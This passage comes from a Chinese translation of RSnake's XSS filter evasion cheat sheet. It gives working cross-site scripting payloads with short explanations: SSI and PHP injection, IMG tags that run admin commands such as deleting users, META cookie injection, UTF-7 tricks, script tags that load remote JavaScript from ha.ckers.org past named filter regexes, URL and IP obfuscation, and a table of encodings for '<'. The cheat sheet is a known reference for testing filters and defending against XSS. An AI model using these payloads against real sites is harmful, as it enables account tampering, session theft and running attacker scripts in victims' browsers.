<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT
SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
```

PHP

需要 php 被安装在服务器端去使用这个 xss 向量。同样的，如果你可以运行恩任何远程脚本，那么将会有更加严重的问题。

```
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
```

嵌入命令的 IMG

它是工作于那些需要用户认证后才可以执行命令的当前域页面。它将可以创建删除用户（如果访问者是管理员），或是寄送某些凭证等等，虽然他是较少被使用但是是非常有用的。

```
<IMG
SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
```

嵌入命令的 IMG II

这是更加的可怕因为并没有特别的标识符去使它看起开来可疑。除非不允许引入第三方域的图片。这个向量是使用一个 302 or 304（或其他可行方案）去重定向一个图片地址为带有某些命令的地址。因此一个正常的图片标签代码<IMG SRC="a.jpg">可以是带有命令的 xss 向量。但是用户看到的仅仅是正常的图片链接地址。下面是一个.htaccess（apche 下）配置文件去完成这个向量。（感谢 Timo 为这部分。）

```
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
```

Cookie 篡改

这是公认的不着边际，但是我已经发下一个例子是用 <META 去覆盖 cookie。另一个例子是有些网站使用 cookie 中的某些数据去呈现在当前访问者的网页中为仅仅他自己而不是从远程数据库中获取。当这两个清静联系在一起的时候，你可以通过修改 cookie 让 javascript 输入到用户页面中。（你可以借此让用户退出，改变用户的状态，甚至让用户以你的身份登录）

```
<META HTTP-EQUIV="Set-Cookie"
Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
```

UTF-7 编码

如果存在 xss 的页面没有提供页面 charset header，或是对于任何被设为 UTF-7 的浏览器，我们可以利用下面的代码。（感谢 Roman Ivanov 的提供），点击这儿为这个例子。（如果页面设置是自动识别编码且 content-types 没有被覆盖，在 ie 浏览器或使用了 IE 渲染引擎的 Netscape 8.1，咋你不需要声明 charset ）在没有改变编码的情况下它是不能工作在任何现代浏览器，这是为什么它被标记为完全不支持。Watchfire 发现这个漏洞在 Google's 自定义 404 脚本中.

```
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7">
</HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
```

使用 HTML 引用封装的 xss

他是被测试在 ie，具体因情况而异。它是为了绕过那些可以输入 "<SCRIPT>" 但不允许输入 "<SCRIPT SRC..."，通过正则"/<script[^>]+src/i"进行过滤的 xss 过滤区。

```
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">
```

为了执行 xss 代码在那些允许输入"<SCRIPT>" 但不允许 "<script src..."靠正则拼配"/<script((\s+\w+(\s*=\s*(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s*|\s*)src/i" （这个是重要的，因为我已经看到这个正则在实际环境中。）

```
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

另一个逃避相同正则
"/<script((\s+\w+(\s*=\s*(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s*|\s*)src/i"的 xss 代码

```
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

这是另一个 xss 例子去绕过相同的过滤器，关于
"/<script((\s+\w+(\s*=\s*(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s*|\s*)src/i"的正则过滤。我知道，我说过我将不会去痛痛快快的聊减灾技术。但是这是我所看到的唯一例子在允许用户输入<SCRIPT>但是不允许通过 src 加在远程脚本的过滤这个 xss 的可用方法。（当然，还有一些其他方法去处理它，如果它们允许<SCRIPT> ）

```
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

最后一个绕过"/<script((\s+\w+(\s*=\s*(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s*|\s*)src/i"正则匹配的例子，通过重音符。（再以无法工作在 firfox）

```
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

这个 xss 例子押注域哪些正则并不去拼配一对引号，而是去发现任何引号后就立即结束参数字符串。

```
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

这 xss 仍然让我担心，因为他是几乎没有肯呢过去停止在没有阻止活动内容的情况下。

```
<SCRIPT>document.write("<SCRI");</SCRIPT>PT
SRC="http://ha.ckers.org/xss.js"></SCRIPT>
```

URL 字符串绕过

这里假设 "http://www.google.com/" 这种在语法上是不被允许的。

IP 代替域名

```
<A HREF="http://66.102.7.147/">XSS</A>
```

URL 编码

```
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
```

双字节编码

（注意：有其他的双字节编码变种。请参考下面混淆后的 ip 为更多信息）

```
<A HREF="http://1113982867/">XSS</A>
```

十六进制编码

The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,因为十六进制数实在 0-f 之间，因此第三位开头的 0 可以被省略掉。

```
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
```

八进制编码

Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

```
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
```

混合编码

让我们混合基本编码并且插入一个 tab 和换行符。为什么浏览器允许这样，我是不知道。但是它是可以工作当它们被包含在引号之间。

```
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
```

协议绕过

“//”代替“http:// ” 可以节省更多字符。这是非常有用的当输入空间是有限的时候。两个字符可能解决大问题。也是容易绕过像"(ht|f)tp(s)?://" 这样的正则过滤。（感

谢 Ozh 提出这部分）。你也可以改变//" 为 "\"。你需要保持斜杠在适当的地方。否则可能会被当作一个相对路径的 url。

```
<A HREF="//www.google.com/">XSS</A>
```

Google "feeling lucky" I

Firefox 使用 Google 的"feeling lucky" 函数去重定向用户输入的任何关键字。因此你可以在可利用页面使用任何关键字针对任何 Firefox 用户。它是使用了 "keyword:" 协议。你可以使用多个关键字像下面的例子：XSS+RSnake。它是无法使用在 Firefox as of 2.0。

```
<A HREF="//google">XSS</A>
```

Google "feeling lucky" II

这是使用一个小技巧让他工作在 Firefox，因为只有它实现了 "feeling lucky" 函数。不像下一个例子，它是无法工作在 Opera ，由于 Opera 认为它是一种老的钓鱼攻击。它是一个简单的畸形 url。如果你点击弹出框的确定按钮它将工作。但是由于这是一个错误对话框，我是说 Opera 是不支持它。它也不再被支持在 Firefox 2.0。

```
<A HREF="http://ha.ckers.org@google">XSS</A>
```

Google "feeling lucky" III

它是通过畸形 url 来工作在 Firefox 和 Opera 浏览器。因为只有他们实现了 "feeling lucky" 函数。像上面的例子一样，它们需要你的网站在谷歌搜索中排名第一。（例如 google）

```
<A HREF="http://google:ha.ckers.org">XSS</A>
```

移除别名

结合上面的 url。移除"www."将节省四个字符。

```
<A HREF="http://google.com/">XSS</A>
```

绝对 DNS 用额外的点

```
<A HREF="http://www.google.com./">XSS</A>
```

JavaScript link location

```
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
```

针对内容替换的攻击向量

假设"http://www.google.com/"会被替换为空。我确实使用了一个简单的攻击向量去针对特殊文字过滤依靠过滤器本身。这是一个例子去帮助创建向量。（IE: "javascript:" 被替换为"java script:", 它是仍可以工作在 IE,使用安全模块的 Netscape 8.1+ 和 Opera）

```
<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
```

字符编码表

再付 "<" 在 html 或是 javascript 中所有可能的编码形式。它们绝大多数是无法正常渲染的，但是可以在上文中某些情景下得到渲染。

```
<%3C&lt&lt;&LT&LT;&#60&#060&#0060&#00060&#000060&#0000060&#60;&#060;&#0060;&#00060;&#000060;&#0000060;&#x3c&#x03c&#x003c&#x0003c&#x00003c&#x00003c&#x3c;&#x03c;&#x003c;&#x0003c;&#x00003c;&#x000003c;&#X3c&#X03c&#X03c&#X0003c&#X00003c&#X000003c&#X3c;&#X03c;&#X003c;&#X0003c;&#X00003c;&#X000003c;&#x3C&#x03C&#x003C&#x0003C&#x00003C&#x000003C&#x3C;&#x03C;&#x003C;&#x0003C;&#x00003C;&#x000003C;&#X3C&#X03C&#X003C&#X0003C&#X00003C&#X000003C&#X3C;&#X03C;&#X003C;&#X0003C;&#X00003C;&#X000003C;\x3c\x3C\u003c\u003C
```

字符编码和 ip 混淆器

下面地址中包含了在 xss 有用的各种基本转换器。
http://ha.ckers.org/xsscalc.html

作者和主编

Robert "RSnake" Hansen

翻译

老道